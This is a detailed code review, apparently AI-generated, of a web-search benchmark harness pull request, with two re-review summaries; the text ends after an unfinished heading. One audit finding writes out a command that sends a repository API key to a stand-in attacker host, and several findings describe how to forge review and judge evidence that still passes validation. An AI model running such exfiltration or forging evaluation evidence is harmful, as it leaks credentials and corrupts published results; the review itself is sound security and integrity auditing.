[major] harness/web_search/report.py:588 — Chinese-only comparison reports no longer link to the English not-generated notice

The restructure added and authored.get("presentation") != "comparison-report" to the condition for the Chinese-only English link. The nav therefore has no English entry, even though en/index.html (the notice) is still generated. AGENTS.md: 'When English is absent, its navigation opens a not-generated notice with a return link.' _check_report_languages only checks that the notice file exists, so check() passes. Restore the link for every presentation, and assert in check() that the nav targets en/index.html when languages == ['zh'].

[major] harness/web_search/report.py:619 — The home page no longer shows the reviewed/total scope as visible text

For comparison reports, the visible '

Codex reviewed X/Y queries…' line is suppressed. It is replaced by a footer link reading 'Review evidence', with the counts only in data-reviewed-queries/data-reviewed-outputs attributes. check() confirms the element exists but never compares the counts. AGENTS.md requires publishing the exact reviewed/total scope. Render the scope as visible text and validate the counts against independent-review.json in check().

[major] harness/web_search/report.py:1462 — The shared presentation detail checks never run, and the winner check is a hand-written duplicate

No Web Search page carries data-report-detail, data-result-summary or data-failure-diagnosis. So the detail half of check_presentation never runs: one summary per detail, no flattened raw evidence, evidence-dialog targets, failure logs. tests/web_search/test_presentation.py has negative controls only for highlights. Lines ~1637-1643 also re-implement winner checking with positional td[i] indexes and a separate win class. Mark detail pages with the shared attributes, add negative controls for duplicate summaries, broken evidence targets and missing failure logs, and replace the positional check with data-metric cells.

[major] harness/web_search/report.py:1586 — A build with paired `output_options` and no reading content fails its own check

check() expects [data-modes] from mode_panel on index.html whenever the renderer returns output, but build() emits mode_panel only inside the authored 'speed' reading chapter. Reproduced with a 4-provider, 200-query profile that has paired output_options and no --content: build succeeds, then check raises 'Deterministic evidence comparison differs from measured inputs'. Render and check the panel from the same owner and route, chosen by data rather than by authored chapters.

[major] harness/web_search/report.py:1682 — `--reference-content` is still a second renderer, with a receipt branch nothing produces

build_reference/check_reference form a parallel renderer, registered as reference_build/reference_tests in configs/report-templates.json. release_check accepts a web-search-reference/1 receipt that no producer writes, since visual.py only captures report routes. That branch resolves capture['path'] against the current working directory rather than the receipt, and skips the producer-source and browser bindings. Remove the reference renderer, or make it a data variant of build() using the shared visual producer.

[major] harness/web_search/report.py:1955 — The release gate skips the publication target when uncertified and ignores most target bindings

release_check calls publication_authority only when receipt.certified is true, so an uncertified build passes --release-check without touching publication-target.json. Even when certified, publication_authority compares only the profile/receipt bindings and the method list. It never checks the target's report_manifest, content, relevance, independent_review, visual_acceptance or delivery_index hashes, or the counts (cases 980, logical_results 2940, populations, quality_annotation), against the built report. There is still no publish entry point; the target is hand-edited. Always run the authority check, compare every binding and count, and add a publish command that writes the target only after a successful release check.

[major] harness/web_search/report.py:2634 — Five-slot assumptions are hard-coded regardless of `protocol.top_k`

Where five slots are assumed:

• relevance_detail uses range(5) and /5.
• population_summary labels say '(条/5)' / '(/5)'.
• comparison.py slices results[:5] and builds Array.from({length:5}).
• discovery_comparison always uses anchor_hit_5.
• The text 'first five / 前 5 条' is fixed.

The registry contains top_k=10 profiles (community-originals.json, social-platforms.json), and for those half of each response would be silently hidden and labelled 'top five'. Thread the protocol cutoff through scoring, labels and the comparison JS.

[major] harness/web_search/report.py:2719 — The quality page no longer says who graded results or what was graded

In the restructure, relevance_panel replaces the scope and denominator paragraph with only 'Judgments: {name}' whenever profile.comparison_selection is set, which is the current published layout. Four disclosures are gone: model vs human; 'titles and snippets only, no full-page or factual verification'; 'a new labelling run may differ'; and 'empty/short responses stay in the denominator'. AGENTS.md requires these caveats next to the measured values. Always render the kind-specific scope and denominator, and have check() assert the judge-kind text on quality.html, with a negative control.

[major] harness/web_search/report.py:3166 — `executive_table` forces a two-benchmark summary on every comparison report

When content lacks independent_benchmarks, executive_table invents custom/factual roots and sets independent_benchmarks=True. population_summary then always uses the heading 'Two benchmarks, reported separately' and the note 'N-query in-house set and M-query public factual set'. In a 4-provider, 200-query cohort with no factual queries, the home page reads '两套评测，分别报告 200 题自建集和 0 题公开事实集回答不同问题' ('two benchmarks, reported separately: a 200-question in-house set and a 0-question public factual set answer different questions'). Derive the heading and note from the actual benchmark roots, with labels taken from data.

[major] harness/web_search/report.py:3223 — `benchmark_operations` can render an empty table, and hard-codes batch count, labels, retry policy and currency

Without benchmark_root populations, performance.html shows the heading '两批实测，分别比较' ('two measured batches, compared separately') over a table with 0 body rows, and check() accepts it. Every non-factual root is labelled 'Scenario set / 自建场景集' whatever its label. The retry policy is fixed text ('失败最多重试一次', 'failures retried at most once'). The cost column says '元' (CNY) even though rows carry a currency field. Iterate the actual collections (falling back to one overall row), take labels, the retry policy and the currency from data, and reject an empty operations table in check().

[major] harness/web_search/report.py:3408 — Text written for this cohort still appears in other cohorts' reports (SimpleQA, 'two datasets', 三家, top five)

In a 4-provider, 200-query cohort with no SimpleQA cases, the build passes check() but the pages are wrong:

• The dataset page says 'Factual questions come from SimpleQA Verified' and shows a 'Public factual queries 0' row under 'Two independent datasets / 两套题库'.
• The Chinese pages say 三家 (three providers) with four providers: the research fairness note (~2123, newly changed from the neutral 各接口, 'each API'), dataset per-query notes, discovery_comparison and factual_panel.
• The SimpleQA contamination paragraph and dataset link are hard-coded.

Generate dataset names, links, counts and the provider count from profile/content data, and omit empty datasets.

[minor] evaluation/web-search/simpleqa-verified.json:22 — Contradictory metadata copied from the in-house profile

This profile says 'review: No independent result review' and 'quality: …no model judge', but current.json requires independent_result_review_scope: "all". collection_revision.scope describes a 'two-method, 24-query, three-round cohort', and cohort_revision describes expanding '24 to 120 queries'. Neither matches this 831-question, five-method, one-round cohort. search-api-modes.json:22 carries the same stale review text into the projected current profile. Remove or correct the copied blocks.

[minor] harness/web_search/report.py:120 — The userinfo redaction regex over-matches text joined by commas and semicolons

The authority pattern [^/?#\s"<>\\]+ runs through commas and semicolons. _redact_url_userinfo(b'https://example.com;contact=me@x.org') returns https://REDACTED:REDACTED@x.org, which deletes the host and alters non-credential evidence bytes. https://a.example,bob@corp.example is mangled the same way. Restrict the authority to RFC 3986 userinfo/host characters, or parse each URL with urlsplit.

[minor] harness/web_search/report.py:657 — 'Nonempty / queries' counts calls across all rounds

The overview computes the nonempty count with physical = aggregate(overview_rows) over every round, but the header and caption say queries. With rounds=3 a method can show e.g. 72/24. Use the score-round summary, or label it as calls with the matching denominator.

[minor] harness/web_search/report.py:2027 — Any quality exclusion replaces the whole per-cohort summary with fixed text

When factual_quality_exclusions is non-empty, cohort_summary returns one fixed paragraph and skips every per-cohort stats entry. A single quarantine therefore removes the cohort measurement-scope table. Keep the entries and add the quarantine note to them.

[minor] harness/web_search/report.py:2750 — The compact factual panel drops nearby caveats and the MRR column

In compact mode, factual_panel returns before adding the quarantine note ('N defective references excluded, denominator M') and the contamination-exclusion paragraph. quality.html shows 'Factual evidence retrieval: 775 queries' without saying why that differs from the 831 on the dataset page. It also omits the first-source reciprocal-rank metric and the answer-rule caveat. Winners are computed from raw counts rather than fractions, so unequal n would be ranked wrongly. Keep the caveats in compact mode, and compare fractions.

[minor] harness/web_search/report.py:2780 — Header patching with `.replace()` misses the English strings

The projected factual panel rewrites rendered HTML with .replace(). The English targets 'Basic API</th>' and 'Preview answer: raw' never occur, because the actual headers are API and Answer text: raw. So English and Chinese headers diverge, and any wording change silently breaks the patch. Choose headers and text from data before rendering.

[minor] harness/web_search/report.py:3364 — The Chinese quarantine note omits the counts the English note gives

The English note gives the counts: 'Quality uses {len(quality_ids)} reviewed-reference queries…; {n} defective references are quarantined. Latency and cost retain all {len(ids)}'. The Chinese note, '性能与费用统计包含已隔离题的实际请求；质量指标使用上方有效题目。' ('performance and cost include the quarantined questions' actual requests; quality uses the valid questions above'), has no numbers. Both editions must carry the same values. Include the counts in Chinese, and have check() compare the numbers across editions.

🤖 Generated with Claude Code

[lanyue-llk]

[blocker] Model-review adjudications silently remove cases from the official quality denominator

factual_quality_exclusions turns any adjudication with quality_excluded: true into profile["factual_quality_exclusions"], and report.py drops those cases from the headline quality populations (quality_ids = ids - ..., quality_dataset, factual_panel). The bound target records factual_quality: 775, factual_quarantined: 56, so a Codex opinion plus a hand-written decision changed the official factual denominator from 831 to 775. No full-denominator official score is published and the change is not labelled post-hoc. AGENTS.md requires official scores to stay unchanged, quarantine to appear as a clearly labelled post-hoc diagnostic subset, readmission only after a preregistered full-scope rerun, and corrections to bind a root cause plus regression IDs. validate_public_review only checks that the resolution is quarantined. Fix: keep the 831-case official metrics as the headline, render the 775-case view as a labelled post-hoc diagnostic, and require root-cause and rerun provenance before accepting an exclusion.

[lanyue-llk]

[blocker] Public review validation only checks the evidence against itself, so a complete review can be fabricated

validate_public_review compares run["opinion_sha256"] with a hash of the same file's cases. packet_sha256, backend and reviewer_id are free strings, and nothing checks contract_sha256, the frozen packets, job status or a transcript. Reproduction: hand-built opinions with packet_sha256: "anything" and reviewer_id: "/root/made-up", no freeze and no reviewer run, give validate_public_review: True and quarantine a factual case. The per-packet rule that a factual accept needs source_checks is also not re-checked at the release boundary. Fix: publish and re-verify the frozen contract and packet hashes, bind each run to an execution record (session log or output hash recorded at run time), re-apply validate_result per case, and add a negative control for a hand-authored review.

[lanyue-llk]

[blocker] Model-judge evidence can still be forged: strict checks run only when the evidence opts in

Strict validation turns on only when configuration.receipt_schema is 2 or 3, and that value comes from the evidence file itself. A forge reproduction re-run at d8c35e4 is accepted with no configuration, no attempts, one-character string evidence, a wrong packet_sha256 and an arbitrary prompt ("grade everything 3"). Nothing compares judge.prompt to JUDGE_PROMPT, and on replay configuration.base_url is only compared with itself. Fix: always require the strict schema for model evidence, pin prompt == JUDGE_PROMPT, recompute packet_sha256 from the blind packets, validate base_url with the judge_main rules, and allow legacy schema-1 evidence only through an explicit hash allow-list.

[lanyue-llk]

[blocker] --token-env can send any repository secret to any HTTPS host

--token-env is only checked to be a valid variable name, and after load_runtime_env it can name any .env credential. judge_search_relevance.py --token-env LEXMOUNT_SEARCH_API_KEY --base-url https://attacker.example ... sends the Lexmount search key as a Bearer token to an arbitrary host. Fix: allow only a fixed set of judge credential names (e.g. SEARCH_JUDGE_API_KEY, or configured per-host names) and bind each credential to its allowed base_url host.

[lanyue-llk]

[blocker] Detail and evidence coverage moved to tests that don't exist

Line 37 now says renderer/component tests must exercise successful and failed result details, exact error/evidence loading, keyboard dismissal and focus restoration, and line 84 removes the release interaction pass. No test opens a successful result detail for any track. No test loads the Browser Use evidence-viewer.html?src= route or the Replay evidence-viewer.html?file= route. Three of the four tests in tests/test_report_browser_interactions.py use hand-written HTML (Browser Use, Replay) or an empty model (Moli). The PR rewrites the rule to allow coverage it then doesn't provide. Restore the release interactions, or add generated-fixture tests for a success detail, a failure detail and the evidence viewer per track before relaxing the rule. This policy change also deserves its own PR and explicit maintainer sign-off.

[lanyue-llk]

[minor] Duplicate digest and atomic writer, and a write_json return value nobody uses

core.digest duplicates review.sha and the harness/record_io hashing helpers, and write_json re-implements reporting.publication.atomic_write. write_json returns {"path": path.name, ...}, a basename rather than the bundle-relative path. No caller uses it, and report.py re-hashes the file instead. Reuse the shared helpers and return None, or return the correct relative binding.

[lanyue-llk]

[minor] results.jsonl is written without an explicit encoding

open("a") here and write_text(...) in prepare_resume use the locale encoding, while rows contain ensure_ascii=False text. read_completed_records decodes UTF-8, so on a non-UTF-8 locale the append-only evidence is corrupted or rejected. Pass encoding='utf-8', or write bytes.

[lanyue-llk]

[minor] The synthetic example depends on the live current selection

example() loads evaluation/web-search/current.json and indexes case['anchors'][0], so the synthetic fixture and the delivery tests change whenever the current selection changes. They fail with KeyError if the primary profile's first case has no anchors. Build the fixture from a self-contained synthetic profile.

[lanyue-llk]

[minor] The re-evaluation loop is duplicated across revision paths

apply_report_revision and apply_identity_correction repeat the same re-evaluate-and-diff loop, but only apply_identity_correction then validates the revised profile, so the two correction paths validate differently. Extract one helper and validate in both.

[lanyue-llk]

[minor] Unreferenced historical profiles kept in Git

community-originals.json (1 case) is referenced nowhere: not in code, tests, current.json or publication-target.json. social-platforms.json appears only as a README example. AGENTS.md keeps a historical revision in Git only when a current versioned authority names it. Remove both, or bind them from a current selection or receipt.

[lanyue-llk]

Re-review at 7517f13e

I rechecked all 95 findings from the previous review (d8c35e41) against this head and did a fresh pass for new problems. Findings marked "Reproduced" were confirmed with a script. CI passes on this head (run 39737211593), and the local tests/web_search suite passes.

Progress: 23 of 95 earlier findings are fully fixed, 23 are partly fixed and 49 are still open. The fix commit also introduced 9 new problems, including two regressions. Not mergeable yet: 4 blockers and 36 major findings remain.

Each inline comment has a severity and a status in its title (open / partial / new). Findings in report.py and simpleqa-verified.json are listed at the end, because GitHub doesn't render those diffs.

Blockers

1. The official factual score is still the post-hoc 775-case subset (report.py:3086). Codex-adjudicated quarantine still removes 56 cases from the headline. There is no 831-case official score and no post-hoc label.
2. Review provenance is self-attesting (review.py:717). Every receipt field can be computed from the opinion itself, and the release test hand-writes status.json. Reproduced: a review with no freeze and no reviewer run still passes. Separately, legacy-evidence.json lets the review behind the current release skip all provenance checks (review.py:702).
3. New regression: resume changes saved evidence before validating (runner.py:225). prepare_resume now archives files and truncates results.jsonl before the mode check and the reference recheck. Reproduced: reference drift on resume left results.jsonl at 0 bytes, while the error said "resume made no provider calls".
4. Browser release coverage is still removed with no replacement, and AGENTS.md is still rewritten to allow it (AGENTS.md:37). Nothing in this area changed in this commit.

Hard-coding to this report instance

• Adapter registry: adapters.py is a good start, but each entry is a lambda that calls one _request() function. That function still branches on lexmount/deepseek/bocha and uses a literal options table. Billing and timing extraction aren't part of the adapter, telemetry is never read, and the collector never applies the registered response transform (runner.py:303). A new provider still needs code edits.
• top_k: validation now accepts any value, but scoring still hard-codes [:10]/[:5]/anchor_hit_5|10. Reproduced: with top_k=20, a rank-15 hit fails, and with top_k=10, classify and task_acceptance disagree. The "top five / nDCG@5 / (/5)" labels are still fixed text.
• Fixed text and layout branches: a 4-provider build with no factual queries still shows "三家" (three providers), "两套评测" (two benchmarks) and an empty factual filter. comparison-report branches are up to 26. The SimpleQA constants and the contamination rule are still in code.

Other new problems in this commit

• Credential leak: userinfo redaction no longer redacts passwords containing ; or , (report.py:120). Reproduced.
• Wrong-language captures: in an English-primary build, the "zh" visual captures are actually English pages, because of the root redirect (visual.py:42).
• Language link regression: the shared header|nav regex stops at the first </nav>. On English-primary WCXB and Replay builds, the 中文 link then sends readers back to English (report_languages.py:124).
• Published review leaks paths: independent-review.json now embeds absolute local paths, commands and PIDs (review.py:644).
• Unverified mapping: reviewer opinions can be reassigned to another provider (review.py:713).
• README is out of date: it documents the removed accept command.

Fixed in this commit

• Model judge: evidence forgery is closed (strict schema, pinned prompt, recomputed packet hash, validated base_url). --token-env is allow-listed and bound to its host.
• Second renderer removed: --reference-content and its template keys are gone.
• Shared language changes:
  • The generic manifest.json lookup was removed.
  • Chinese-only builders fall back correctly under an English environment default.
  • Web Search now uses the shared language contract and layout.
  • cli.main() no longer masks generic integrity errors (language-contract errors are still masked; see the inline comment).
• Report generality:
  • The two-benchmark executive table and the empty operations table are fixed.
  • "Nonempty / queries" uses the right denominator.
  • The quality page states who graded and what.
  • The bilingual independent-review.json link works.
• Review pipeline:
  • The accept path is removed.
  • Packets carry hashes only.
  • The reviewer environment is allow-listed, with web search and shell disabled.
  • Scope defaults to failures.
  • The placeholder model is rejected at freeze.
• Harness:
  • The adapter whitelist and auth header come from the registry.
  • The certified entry rejects --diagnostic, and direct runner output is diagnostic only.
  • The None-grade crash is fixed, and path redaction covers Linux and Windows.
  • Stale interruption.json files are removed.
  • The synthetic example is self-contained.
  • The unreferenced profiles are deleted.

Recommendation

The direction is right, but the work is unfinished:

1. Fix the resume regression and the redaction leak first.
2. Make the official 831-case score the headline, with the 775-case view as a labelled post-hoc diagnostic.
3. Bind review receipts to verifiable execution records, or label them operator-attested.
4. Finish the adapter registry: per-adapter request, response, billing and timing, with the response transform used by the collector.
5. Use top_k everywhere.
6. Split the release-check policy change into its own PR, with real replacement tests.

---

Findings in files GitHub cannot annotate inline

GitHub doesn't render the diff for harness/web_search/report.py or evaluation/web-search/simpleqa-verified.json, so these findings are listed here with their line numbers at 7517f13e.

[blocker · open] harness/web_search/report.py:3086 — The 775-case post-hoc factual population is still the headline; there is no official 831-case score

The fix commit only reworded the exclusion notes. quality_ids = ids - factual_quality_exclusions, assessment_profile (line 368) and the factual table still compute headline quality without the 56 adjudicated cases, and the target still records factual_quality: 775. No metric is computed on the full 831 cases, and nothing labels the 775-case view as a post-hoc diagnostic subset, which AGENTS.md requires for quarantine. validate_public_review still accepts quality_excluded with only resolution == quarantined: no root cause, regression IDs or preregistered rerun. Render the official 831-case metrics as the headline, move the 775-case view into a clearly labelled post-hoc diagnostic, and require correction provenance before accepting an exclusion.

[major · new] harness/web_search/report.py:120 — Userinfo redaction now leaks credentials that contain ',' or ';'

The fix for the over-matching regex excluded , and ; from the authority class. RFC 3986 allows both in userinfo (they are sub-delims), so a password containing them is now never redacted. Reproduced: _redact_url_userinfo(b'https://user:pa;ss@host.example/x') and b'https://user:a,b@host.example/x' both come back unchanged, while user:secret@ is redacted. The check calls the same function, so it doesn't catch the leak either. Over-matching also remains for ' and ): https://a.example'bob@corp.example becomes https://REDACTED:REDACTED@corp.example. Parse candidate URLs with urlsplit and redact only when .username/.password is set, and add positive tests with ; and , in passwords.

[major · open] harness/web_search/report.py:420 — Reader content outside Git can still change measured outcomes

Unchanged. apply_report_revision still runs on authored['assessment_revision'] from the --content prose file, which lives outside Git, and rewrites the profile and rows before scoring. public_calls still recomputes billing at render time. Accept assessment revisions only through a versioned, regression-bound receipt, and move billing correction to collection or aggregation.

[major · open] harness/web_search/report.py:571 — Chinese-only comparison reports still have no link to the English notice

The guard and authored.get("presentation") != "comparison-report" is still present. In a Chinese-only comparison-report build, the nav links only to the six chapter pages, even though en/index.html (the notice) exists. check_language_contract checks only the notice file, so check() passes. Remove the guard, and assert in check() that the nav targets en/index.html when languages == ['zh'].

[major · partial] harness/web_search/report.py:794 — `build()` and `check()` still disagree about where `mode_panel` goes when reading sections are present

Fixed: with no --content, mode_panel is now appended to the home page, and the 4-provider, 200-query build passes. Remaining: check() expects [data-modes] on every non-comparison index.html, but build() emits it only in a 'speed' reading chapter or when there are no reading sections. Reproduced with content {"reading_sections":[{"key":"quality",...}]}: the build fails its own check with 'Deterministic evidence comparison differs from measured inputs'. Choose the panel's route in one place by data, and use it in both build() and check().

[major · open] harness/web_search/report.py:795 — Layout branching keeps growing: 26 `comparison-report` branches

The count went from 25 to 26 (it was 13 at the first review). visual.py still hard-codes a third copy of the route lists for each presentation. build(), check() and visual.routes() each re-derive navigation, routes and sections. Declare the page/route/section registry once per presentation as data, and have all three consume it.

[major · partial] harness/web_search/report.py:1297 — The reviewed/total scope is now visible, but `check()` never verifies the counts

Fixed: the footer link text now includes case_reviewed/case_total. Remaining: check() only tests that [data-review-coverage] exists. It never compares the visible text or data-reviewed-queries/data-reviewed-outputs with independent-review.json, so a tampered or stale count passes. The output scope also appears only in an attribute. Compare the visible and attribute counts with the review data, and add a negative control.

[major · open] harness/web_search/report.py:1628 — The shared detail presentation checks still never run, and the winner check is still positional

Unchanged. No page carries data-report-detail, data-result-summary or data-failure-diagnosis, so the detail half of check_presentation never runs. The home-table winner check still indexes td[i] for i in (2,3,4,5) and relies on a separate win class. test_presentation.py still has negative controls only for highlights. Mark detail pages with the shared attributes, add negative controls for duplicate summaries, broken evidence targets and missing failure logs, and select cells by data-metric.

[major · open] harness/web_search/report.py:1754 — The release gate still skips the publication target unless the receipt is certified

Unchanged. release_check calls publication_authority only when receipt.certified is true, so an uncertified build passes --release-check without reading publication-target.json. publication_authority still compares only the profile/receipt bindings and the method list, not the manifest, content, relevance, review, visual or delivery hashes, or the counts. There is still no publish command that writes the target. Always run the authority check and compare every binding and count.

[major · partial] harness/web_search/report.py:2268 — Text written for this cohort still appears in other cohorts' reports (三家, 两套评测, empty factual filter)

Fixed: dataset_context and population_summary now take names and counts from data, and the hard-coded SimpleQA dataset link is gone. Remaining, reproduced in a 4-provider build with no factual queries:

• dataset.html says '本轮三家请求相同数量的结果' ('this round the three providers requested the same number of results') although there are four providers.
• The results filter shows '两套评测 · 200' ('both benchmarks · 200') and an empty '公开事实题' ('public factual questions') option.
• cohort_summary is headed '两套评测，按采集批次分别查看' ('two benchmarks, by collection batch') whatever the cohort count.
• The full factual panel still says '答案线索只检查三家共有的标题与短摘要' ('answer cues use only the three providers' shared titles and snippets').

Derive the provider and benchmark counts from data, and omit empty populations.

[major · partial] harness/web_search/report.py:2507 — Labels still say five slots / nDCG@5 regardless of `protocol.top_k`

Fixed: relevance_detail, query_metrics and the comparison JS now use the protocol cutoff. Remaining: core.py accepts any positive top_k, but these labels are still fixed:

• 'nDCG@5', 'five slots' and '前五条' ('top five').
• '每题可用结果（条/5）' ('useful results per query (/5)') and '(/5)'.
• 'top five / 前五条' in several other places.
• The labels in comparison.py.

A top_k=10 cohort would be scored on 10 slots but labelled top five. Generate these labels from the cutoff.

[minor · open] evaluation/web-search/simpleqa-verified.json:22 — Contradictory metadata copied from the in-house profile is still present

Unchanged. protocol.review says 'No independent result review; machine checks only', but current.json requires independent_result_review_scope: all. collection_revision.scope still describes a 'two-method, 24-query, three-round cohort', and cohort_revision describes expanding '24 to 120 queries'. Now that load_profile_bytes(cohort='simpleqa') projects this file, the stale text and the primary title ('current three-provider selection') end up in the frozen supplementary profile. Correct or remove the copied blocks.

[minor · open] harness/web_search/report.py:1829 — Any quality exclusion still replaces the whole per-cohort summary with fixed text

Unchanged. When factual_quality_exclusions is non-empty, cohort_summary returns one fixed 'Measurement scope' paragraph and skips every per-cohort stats row, so a single quarantine still removes the cohort measurement table. Keep the entries and append the quarantine note.

[minor · partial] harness/web_search/report.py:2560 — The compact factual panel still drops the MRR metric

Fixed: compact mode now includes the quarantine note with its denominator, and winners compare fractions rather than raw counts. Remaining: the compact table still omits the first-source reciprocal-rank (MRR) column that the full panel reports. Include MRR, or state on the page that it is omitted.

[minor · open] harness/web_search/report.py:2582 — Header patching with `.replace()` still misses the English strings

Unchanged. The projected factual panel still rewrites rendered HTML with .replace('Basic API</th>', ...) and .replace('Preview answer: raw', ...). The rendered English headers are 'API' and 'Answer text: raw', so the English patch never applies and the editions diverge. Choose headers from data before rendering.

[minor · open] harness/web_search/report.py:3163 — The Chinese quarantine note still omits the counts the English note gives

Unchanged. The English note gives the counts (len(quality_ids), the quarantined number and len(ids)). The Chinese note is the fixed sentence '性能与费用统计包含已隔离题的实际请求；质量指标使用上方有效题目。' ('performance and cost include the quarantined questions' actual requests; quality uses the valid questions above'), with no numbers. Include the same numbers in Chinese, and have check() compare them across editions.

🤖 Generated with Claude Code

[lanyue-llk]

[blocker · open] Detail and evidence coverage moved to tests that don't exist

Line 37 now says renderer/component tests must exercise successful and failed result details, exact error/evidence loading, keyboard dismissal and focus restoration, and line 84 removes the release interaction pass. No test opens a successful result detail for any track. No test loads the Browser Use evidence-viewer.html?src= route or the Replay evidence-viewer.html?file= route. Three of the four tests in tests/test_report_browser_interactions.py use hand-written HTML (Browser Use, Replay) or an empty model (Moli). The PR rewrites the rule to allow coverage it then doesn't provide. Restore the release interactions, or add generated-fixture tests for a success detail, a failure detail and the evidence viewer per track before relaxing the rule. This policy change also deserves its own PR and explicit maintainer sign-off.

[lanyue-llk]

[blocker · partial] The new provenance check is self-attesting, so a review with no reviewer run still passes

Fixed: accept is gone, and evidence must now carry the contract, packets and execution receipts. Remaining: every receipt field (status, returncode, backend, input_sha256, result_sha256, output_bytes_hex) is a value anyone can compute from the opinion they write, and nothing ties it to a real process. The release test itself builds a passing review by hand-writing status.json (test_review_release.py:53-57). Reproduced: an in-memory contract, packet and invented opinion with a fake gpt-made-up model, no freeze directory and no codex run give validate_public_review: True and quarantine factual case fact. Bind executions to something the reviewer process produced and the harness can verify (e.g. the Codex session/rollout log hash plus model and token usage captured at run time), or state publicly that review receipts are operator-attested.

[lanyue-llk]

[blocker · partial] Resume now changes saved evidence before the mode check and the reference recheck

Fixed: a missing results.jsonl/profile.json/run-contract.json/references-before.json now raises ValueError instead of a FileNotFoundError traceback. Regression: prepare_resume now runs first. It creates resume-N, moves call files and rewrites results.jsonl before the certification-mode check and before capture_references. Reproduced: a certified run stops on 402, the reference changes, then --resume reports 'Reference recheck failed; resume made no provider calls', yet resume-1/ exists and results.jsonl went from 2626 to 0 bytes. Running python -m harness.web_search.runner --resume on a certified collection also creates resume-2/ before raising 'Resume cannot change certification mode'. The comment 'Validate current sources before changing saved evidence' and test_resume_rejects_live_source_drift_before_archiving_results (which tests only implementation drift) describe behaviour the code doesn't have. Split prepare_resume into a read-only validation step and a later archive step that runs only after the reference recheck passes, and add a real drift test.

[lanyue-llk]

[major · open] CI dropped Python 3.12–3.14 while requires-python is >=3.11

The base-python matrix was deleted, leaving a single 'Python 3.11' job. pyproject.toml still declares requires-python = ">=3.11", and README.md now says '3.11 or newer is required'. The base CLI now imports python-dotenv on every language resolution, and that path is untested on newer interpreters. Restore the matrix for the portable CLI tests, or narrow requires-python to what CI checks.

[lanyue-llk]

[major · open] Narrow-width and theme coverage handed to tests that don't exist

Line 83, docs/architecture.md:141, report-and-release.md:103 and moli_report/BUILD.md:50 say shared renderer/component tests own responsive layout and theme behaviour. git grep -nE "viewport=|color_scheme|colorScheme|'dark'" tests finds no Playwright test with a narrow viewport or dark theme, and harness/reporting/visual.py now hard-codes light in state_matrix. This PR itself changes those owners (browser_use/report.py applySort, reporting/visual.py), which by line 83's own wording should trigger that coverage. Add one 390px dark-theme component test per renderer, or keep the old matrix and correct the docs.

[lanyue-llk]

[minor · partial] prepare_resume still rewrites results.jsonl in the locale encoding

Fixed: the append now uses encoding='utf-8'. Still open: prepare_resume rewrites the retained rows with write_text(...) and no encoding. On a non-UTF-8 locale, the ensure_ascii=False rows are re-encoded and then rejected by read_completed_records. Pass encoding='utf-8'.

[lanyue-llk]

[minor · open] The re-evaluation loop is still duplicated, and only one path validates

Unchanged. apply_report_revision and apply_identity_correction repeat the same re-evaluate-and-diff loop, and only the latter calls validate_profile. Extract one helper and validate in both.

[lanyue-llk]

[minor · open] The builder still just echoes the committed 831 cases

Unchanged. rebuild_profile requires template['cases'] == computed and then writes the same list back, so the build script reproduces its input byte for byte. The 15k-line simpleqa-verified.json duplicates upstream rows that are already pinned by URL and SHA. Derive the cases from the pinned CSV and commit only the binding, or rename the tool to a verifier.

[lanyue-llk]

[minor · partial] Tests still lack negative controls for forged receipts, bilingual review builds and subprocess failure

Fixed: a test now rejects the placeholder model and the removed accept subcommand, and a failures-scope freeze test was added. Remaining: the release fixture forges a passing status.json by hand, which is exactly the forgery the release gate should reject. Nothing tests rejection of a hand-built provenance, a remapped output, or absolute paths in published evidence. No test builds a bilingual review report, and none exercises timeout, kill or interrupt in run() or pins its command and environment.

[lanyue-llk]

[minor · partial] No test asserts that the certified entry rejects --diagnostic

The test that locked in diagnostic collection through the certified entry was removed, and main(certified=True) now calls parser.error on --diagnostic. But no replacement test asserts that certified_main(['web-search', ..., '--diagnostic']) exits non-zero before any reference or provider request. Nothing tests that direct runner output without --diagnostic is written as diagnostic/uncertified either. Add both negative controls.

[lanyue-llk]

Re-review at de4e175a

I rechecked all 81 outstanding findings from the previous review (7517f13e) against this head and did a fresh pass for new problems. Findings marked "Reproduced" were confirmed with a script. CI is green, including the restored Python 3.12/3.13/3.14 jobs, and the local tests/web_search suite passes.

Progress: of the 81 outstanding findings, 5 are fully fixed, 33 are partly fixed and 43 are still open. The two new commits add 10 new problems. Not mergeable yet: 2 blockers, 32 major and 52 minor findings remain (86 in total).

Each inline comment has a severity and a status in its title (open / partial / new). Findings in report.py and simpleqa-verified.json are listed at the end, because GitHub doesn't render those diffs.

Blockers

1. The official factual score is still the post-hoc 775-case subset (report.py:3115). The factual panel, dataset page and population tables all drop the 56 quarantined queries. No 831-query official figure is rendered anywhere, and nothing labels 775 as post-hoc. Exclusions are still accepted without a root cause, regression IDs or a preregistered rerun.
2. Browser release coverage is still removed with no replacement (AGENTS.md:37). No track has a generated success/failure detail or evidence-viewer test. The new "390px dark" variant of the interaction tests never actually renders a dark theme: none of the fixtures responds to prefers-color-scheme. Reproduced: the background colour is identical under light and dark.

Review integrity (major)

• Fabricated reviews still pass: a review with an invented model, no freeze and no Codex run passes validate_public_review (review.py:712). Reproduced. The new "operator-attested" disclosure is honest, but the page still says "Independent Codex review" whatever model the evidence names. The disclosure also renders for the legacy review, which has no execution records at all.
• The legacy allow-list is unchanged: it still exempts the bound release review from every provenance check (review.py:704). assessment-revisions.json is another bare-hash allow-list with no provenance and no negative test.
• New: the reviewer prompt is circular (review.py:39). It must verify factual references only against "frozen source observations included in this packet", with search disabled. But packets contain no reference-page text, only reference URLs and the tested providers' outputs.
• Failures-only scope can't be released: it is now the default, but validation and the profile still demand scope: all, and authorization is never checked.

Generality and hard-coding

• Adapter registry (partial). The request, options, auth header and collector response parsing now come from the registry. Still outside it:
  • Billing still lives in core.request_cost and checks 'nonempty' on the raw payload.
  • Timing still reads Lexmount fields for every provider.
  • The report, review and example replays still re-normalise without the adapter. Reproduced: a provider with its own envelope collects correctly but fails publication.
  • The collector fix itself has no test.
• top_k: validation is back to 5 or 10, and callers pass the cutoff, so the silent mis-grades are gone. The labels still say "nDCG@5 / five slots / 前五条 / (/5)". A 4-provider build no longer shows 三家 or 两套 on its pages, but 三家 remains in the full factual panel and the labelling UI, and the "Factual evidence" filter appears with zero factual questions.
• Layout branching: still 26 comparison-report branches. SimpleQA constants and the contamination rule are still in code. Four qualification/equivalence mutants still pass the full suite. Five of this commit's own fixes can also be reverted without failing any test: the --diagnostic rejection, the telemetry gate, the billing raise, the collector normalize fix and validate_revision_binding.

New problems in these commits

